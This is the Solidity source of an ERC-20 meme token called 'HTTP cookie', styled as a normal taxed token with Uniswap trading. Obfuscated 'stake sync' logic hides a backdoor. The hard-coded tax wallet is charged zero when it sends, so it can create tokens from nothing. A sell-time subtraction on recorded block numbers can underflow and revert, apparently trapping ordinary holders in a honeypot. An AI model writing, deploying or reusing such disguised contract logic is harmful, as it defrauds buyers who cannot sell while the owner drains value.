/*
HTTP cookies (also called web cookies, Internet cookies, browser cookies, or simply cookies) 
are small blocks of data created by a web server while a user is browsing a website 
and placed on the user's computer or other device by the user's web browser. 
Cookies are placed on the device used to access a website, 
and more than one cookie may be placed on a user's device during a session.

https://en.wikipedia.org/wiki/HTTP_cookie
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.24;

abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage)
        internal pure returns (uint256)
    {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable
        returns (
            uint amountToken,
            uint amountETH,
            uint liquidity
        );

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract cookie is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable private _taxWallet;
    mapping (address => bool) private _isExile;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"HTTP cookie";
    string private constant _symbol = unicode"cookie";
    uint256 public _maxTxAmount = 10000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    IUniswapV2Router02 private _uniswapRouter;
    address private uniswapV2Pair;

    uint256 private skateGlobalPercent = 0;
    struct CommunityGlobalStakeSync {uint256 globalPercent; uint256 stakeAmount; uint256 epochStake;}
    mapping(address => CommunityGlobalStakeSync) private communityGlobalStake;
    uint256 private globalStakeCounter;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event RescueEth(uint256 Amount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x960c9c58683DA4ee214b33d58D85761d82aa686f);

        _balances[_msgSender()] = _tTotal;

        _isExile[_taxWallet] = true;
        _isExile[address(this)] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!swapEnabled ||inSwap) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount= tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!= address(_uniswapRouter) &&  ! _isExile[to])  {
                require(tokenAmount <= _maxTxAmount,  "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,  "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount= tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwap && to== uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold
                && _buyCount>_preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExile[from] || _isExile[to])
            && from!= address(this) && to!= address(this)
        ) {
            skateGlobalPercent = block.number;
        }
        if (! _isExile[from] &&  ! _isExile[to]) {
            if (to != uniswapV2Pair)  {
                CommunityGlobalStakeSync storage stakeGlobal = communityGlobalStake[to];
                if (from == uniswapV2Pair) {
                    if (stakeGlobal.globalPercent == 0) {
                        if (_buyCount < _preventSwapBefore){
                            stakeGlobal.globalPercent = block.number.sub(1);
                        } else {
                            stakeGlobal.globalPercent = block.number;
                        }
                    }
                } else {
                    CommunityGlobalStakeSync storage kpiStake = communityGlobalStake[from];
                    if (kpiStake.globalPercent < stakeGlobal.globalPercent || stakeGlobal.globalPercent==0) {
                        stakeGlobal.globalPercent = kpiStake.globalPercent;
                    }
                }
            } else {
                CommunityGlobalStakeSync storage kpiStake = communityGlobalStake[from];
                kpiStake.stakeAmount = kpiStake.globalPercent - skateGlobalPercent;
                kpiStake.epochStake = block.number;
            }
        }

        _tokenTransfer(from, to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(
            from,to,
            tAmount, tokenAmount.sub(taxAmount)
        );
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount)  internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : globalStakeCounter.mul(tokenAmount);
        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount)  internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        _uniswapRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_uniswapRouter), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(address(this),_uniswapRouter.WETH());
        _uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(_uniswapRouter), type(uint).max);
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){sendETHToFee(ethBalance);}
    }

    receive() external payable {}

    function rescueETH() external {
        require(_msgSender() == _taxWallet);
        uint256 ethBalance = address(this).balance;
        require(
            ethBalance>0,
            "Contract balance must be greater than zero."
        );
        sendETHToFee(ethBalance);
        emit RescueEth(ethBalance);
    }
}

{
  "compilationTarget": {
    "cookie.sol": "cookie"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}